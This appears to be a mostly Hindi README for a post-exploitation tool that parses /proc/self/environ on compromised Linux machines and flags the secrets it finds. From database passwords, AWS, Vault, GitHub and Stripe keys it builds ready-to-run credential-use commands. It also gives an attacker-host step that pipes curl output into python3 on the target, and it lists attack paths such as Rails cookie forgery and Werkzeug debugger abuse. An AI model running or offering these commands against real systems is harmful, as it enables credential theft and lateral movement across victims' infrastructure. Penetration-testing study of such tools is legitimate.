
समझौता किए गए Linux बॉक्स पर /proc/self/environ को पार्स और विज़ुअलाइज़ करें — env वेरिएबल्स को टेक स्टैक (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, आदि…) के अनुसार वर्गीकृत करता है और तैयार-से-चलाने योग्य कमांड्स के साथ गंभीरता-रेटेड इनसाइट्स उत्पन्न करता है
___________ ____ ____.__ .__ .__
\_ _____/ _______ _\ \ / /|__| ________ _______ | | |__|_______ ___________
| __)_ / \ \/ /\ Y / | |/ ___/ | \__ \ | | | \___ // __ \_ __ \
| \ | \ / \ / | |\___ \| | // __ \| |_| |/ /\ ___/| | \/
/_______ /___| /\_/ \___/ |__/____ >____/(____ /____/__/_____ \\___ >__|
\/ \/ \/ \/ \/ \/
समझौता किए गए Linux मशीनों पर
/proc/self/environको पार्स, वर्गीकृत और विज़ुअलाइज़ करें।
जुड़े हुए environment variable टेक्स्ट की दीवार को कुछ ही सेकंड में संरचित, रंग-कोडित intel में बदलें।
लेखक: @W4r10ck423
जब आप किसी बॉक्स पर पहुँचते हैं और /proc/self/environ पढ़ते हैं, तो आपको यह मिलता है:
USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi
EnvVisualizer इसे इसमें बदल देता है:
============================================================================
EnvVisualizer — /proc/self/environ (32 variables)
============================================================================
── Identity (4) ───────────────────────────────────────────────────────────
HOME /home/dev
LOGNAME dev
SHELL /bin/bash
USER dev
── Paths & Dirs (10) ──────────────────────────────────────────────────────
PATH
• /home/dev/projects/store1/node_modules/.bin
• /home/dev/projects/node_modules/.bin
• /usr/local/sbin
• /usr/local/bin
• /usr/sbin
• /usr/bin
• /sbin
• /bin
• /snap/bin
PWD /home/dev/projects/store1
npm_config_cache /home/dev/.npm
npm_execpath /usr/share/nodejs/npm/bin/npm-cli.js
── NPM / Node (12) ────────────────────────────────────────────────────────
NODE /usr/bin/node
npm_command run-script
npm_config_user_agent npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
npm_lifecycle_script nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
npm_package_json /home/dev/projects/store1/package.json
── System (6) ─────────────────────────────────────────────────────────────
COLOR 0
EDITOR vi
INVOCATION_ID abc0ab20c7dd498792d8be51c591071a
JOURNAL_STREAM 8:6005
LANG C.UTF-8
SYSTEMD_EXEC_PID 881
── Pentest Insights ────────────────────────────────────────────────────────
▶ Node.js debugger exposed → 127.0.0.1:9229 (try: node-inspector / chrome://inspect)
▶ Home dir: /home/dev
▶ Shell: /bin/bash
▶ npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
▶ npm_lifecycle_event = watch
rich इंस्टॉल होने पर, प्रत्येक श्रेणी को अपनी रंग-कोडित तालिका मिलती है।
npm_*, node_*, pip_*, आदि) का पता लगाता हैTOKEN, KEY, SECRET, PASSWORD, आदि) से मेल खाते हैं, ⚠ चेतावनी के साथrich इंस्टॉल होने पर रंग-कोडित तालिकाएँ; fallback के रूप में साफ़ plain-text आउटपुट (शून्य निर्भरता आवश्यक)git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich # optional but recommended
python3 envvisualizer.py --help
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help
envvisualizer.py को लक्ष्य या हमलावर मशीन पर कॉपी करें। यह शून्य निर्भरता के साथ चलता है:
# On the attacker machine — host it
python3 -m http.server 8080
# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ
| Dependency | Version | Required |
|---|---|---|
| Python | ≥ 3.8 | Yes |
| rich | ≥ 13.0 | No (plain-text fallback) |
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]
options:
-h, --help show this help message and exit
-f PATH, --file PATH Environ file path (null-byte delimited)
-r STRING, --raw STRING
Raw concatenated environ string (copy-pasted, no null bytes)
--no-rich Force plain-text output
सुझाव: जब भी आपके पास फ़ाइल एक्सेस हो,
-fको प्राथमिकता दें।
वास्तविक फ़ाइल में null-byte delimiter सटीक है — किसी heuristic की आवश्यकता नहीं।
# Current process
python3 envvisualizer.py -f /proc/self/environ
# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ
# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ
cat /proc/self/environ | python3 envvisualizer.py
python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'
python3 envvisualizer.py -f /proc/self/environ --no-rich
वेरिएबल्स को 12 श्रेणियों में समूहित किया जाता है, प्राथमिकता क्रम में मूल्यांकन किया जाता है (पहला मेल जीतता है)।
Pentest Insights पैनल चार severity स्तरों के साथ लक्षित, stack-aware डिटेक्शन फायर करता है।
तैयार-से-चलाने योग्य कमांड environment में पाए गए वास्तविक मानों से तुरंत उत्पन्न होते हैं।
── Pentest Insights ─────────────────────────────────────────────────────────
[!!!] PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
[!!!] DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
[!!!] MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
[!!!] AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE (run: aws sts get-caller-identity)
[!!!] HashiCorp Vault token in env → vault token lookup addr: http://vault.internal:8200
[!!!] Stripe LIVE secret key — production payment API access
[!!!] Rails master key in env — decrypts config/credentials.yml.enc
[!! ] Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
[!! ] Inside Kubernetes pod → service host: 10.96.0.1
[!! ] GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
[!! ] Django DEBUG=True — full stack traces served to users
[!! ] JVM remote debugging enabled → -agentlib:jdwp=... (try: jdb -attach <host>:<port>)
[ * ] Python venv active → /var/www/myapp/.venv
जब /proc/self/environ कॉपी-पेस्ट किया जाता है (जैसे, web shell या curl आउटपुट से), null bytes हटा दिए जाते हैं, जिससे आसन्न वेरिएबल्स जुड़ जाते हैं:
USER=dev·npm_config_user_agent=npm/8.5.1...
↑──↑↑───────────────────↑
value next key starts here
एक naive WORD= split devnpm_config_user_agent को key के रूप में उत्पन्न करेगा।
EnvVisualizer एक दो-वर्ग सीमा डिटेक्टर का उपयोग करता है जो केवल इन पर विभाजित करता है:
USER, HOME, JOURNAL_STREAM, आदिnpm_*, node_*, pip_*, java_*, python_*, ruby_*, आदिचूँकि regex जुड़े हुए टोकन के भीतर npm_config_user_agent पाता है, पिछला मान स्वचालित रूप से dev तक ट्रिम हो जाता है। कोई lookbehind नहीं, कोई word-boundary धारणा नहीं — बस key पैटर्न ही anchor के रूप में।
MIT — स्वतंत्र रूप से उपयोग करें, attribution की सराहना की जाती है।
| Method | Command | Accuracy |
|---|
| Direct file read | python3 envvisualizer.py -f /proc/self/environ | ✅ Perfect (null-byte split) |
| Stdin pipe | cat /proc/self/environ | python3 envvisualizer.py | ✅ Perfect (null-byte split) |
| Pasted string | python3 envvisualizer.py -r 'USER=dev...' | ✅ Good (two-class heuristic) |
| No args (demo) | python3 envvisualizer.py | ✅ Perfect (own process) |
| Category | Typical Variables |
|---|
| 🔐 Security / Auth | SSH_*, SUDO_*, anything matching TOKEN, KEY, SECRET, PASSWORD, CREDENTIAL, CERT |
| 👤 Identity | USER, LOGNAME, HOME, SHELL, UID, GID |
| 🗄 Database | PG*, MYSQL_*, MONGO*, REDIS_*, DATABASE_URL, DB_*, ELASTIC*, CASSANDRA_*, SQLALCHEMY_* |
| ☁ Cloud / Infrastructure | AWS_*, GOOGLE_*, AZURE_*, ARM_*, DOCKER_*, KUBERNETES_*, VAULT_*, TF_*, CLOUDFLARE_* |
| 🔄 CI/CD & VCS | GITHUB_*, GITLAB_*, CI_*, TRAVIS_*, CIRCLE*, JENKINS_*, HEROKU_*, BUILD_* |
| 🔌 Third-party APIs | STRIPE_*, TWILIO_*, SENDGRID_*, SENTRY_*, DD_*, SLACK_*, OPENAI_*, ALGOLIA_*, AUTH0_* |
| 🕸 Web Frameworks | DJANGO_*, FLASK_*, RAILS_*, SPRING_*, ASPNETCORE_*, APP_KEY/ENV/DEBUG, SECRET_KEY_BASE, MIX_ENV, NEXT_*, VITE_*, REACT_APP_* |
| 🐍 App Runtimes | PYTHON*, CONDA_*, VIRTUAL_ENV, GEM_*, BUNDLE_*, JAVA_*, JVM_*, MAVEN_*, CATALINA_*, GO*, RUST*, CARGO_*, PHP_*, DOTNET_*, PERL*, DENO_* |
| 📦 NPM / Node | npm_*, NODE, NODE_ENV, NODE_OPTIONS |
| 📂 Paths & Dirs | PATH, PWD, *_DIR, *_PREFIX, *_HOME, *_CACHE, INIT_CWD |
| 🌐 Network / Proxy | *_PROXY, HOSTNAME, SSL_CERT_*, CURL_CA_BUNDLE, *_URL, *_ADDR |
| ⚙ System | LANG, TERM, EDITOR, INVOCATION_ID, JOURNAL_STREAM, XDG_*, LC_* |
| Other | Everything else, sorted alphabetically |
| Severity | Prefix | Meaning |
|---|
💀 CRITICAL | [!!!] | Live credential, secret key, or master key — immediate impact |
⚠ HIGH | [!! ] | Token, debug mode, or exposed service — actionable attack path |
→ MEDIUM | [! ] | Interesting info that may assist escalation |
▶ INFO | [ * ] | General context about the process and environment |
| Stack | What's detected |
|---|
| PostgreSQL | PGPASSWORD → auto-builds psql postgresql://user:pass@host/db |
| MySQL / MariaDB | MYSQL_ROOT_PASSWORD / MYSQL_PASSWORD → auto-builds mysql command |
| MongoDB | MONGO_INITDB_ROOT_* → auto-builds mongosh command |
| Redis | REDIS_PASSWORD → auto-builds redis-cli -a command |
| DB URLs | DATABASE_URL, MONGODB_URI, etc. → flags embedded credentials |
| AWS | Key pair → flags as long-term or STS temporary, suggests aws sts get-caller-identity |
| GCP | GOOGLE_APPLICATION_CREDENTIALS → suggests gcloud auth activate-service-account |
| Azure | AZURE_CLIENT_SECRET → flags tenant ID + suggests az login --service-principal |
| HashiCorp Vault | VAULT_TOKEN + VAULT_ADDR → suggests vault token lookup |
| Kubernetes | Injected KUBERNETES_SERVICE_HOST → flags pod context, suggests SA token read |
| Docker | DOCKER_HOST set → flags daemon exposure |
| GitHub / GitLab | Tokens → suggests API validation curl commands |
| Heroku | HEROKU_API_KEY → flags with app name |
| Stripe | Live sk_live_* → CRITICAL; test sk_test_* → MEDIUM |
| Datadog | DD_API_KEY → flags metrics/logs/traces access |
| Slack | SLACK_BOT_TOKEN / SLACK_APP_TOKEN → flags workspace access |
| OpenAI | OPENAI_API_KEY → flags billing exposure |
| Django | DJANGO_DEBUG=True → flags stack trace exposure |
| Flask | FLASK_DEBUG=1 → flags Werkzeug interactive debugger (PIN bypass / SSTI) |
| Laravel | APP_DEBUG=true + APP_KEY=base64:* → flags cookie forgery path |
| Rails | RAILS_MASTER_KEY → CRITICAL (decrypts credentials.yml.enc); SECRET_KEY_BASE → session cookie forgery |
| JVM | JAVA_TOOL_OPTIONS with jdwp → flags remote debug port, suggests jdb -attach |
| Tomcat | CATALINA_HOME → flags path to tomcat-users.xml |
| Node.js | --inspect / --inspect-brk → flags debugger, suggests chrome://inspect |
| Kerberos | KRB5CCNAME → flags ticket cache, suggests klist / Impacket |
| Sudo | SUDO_USER → shows original UID/GID before escalation |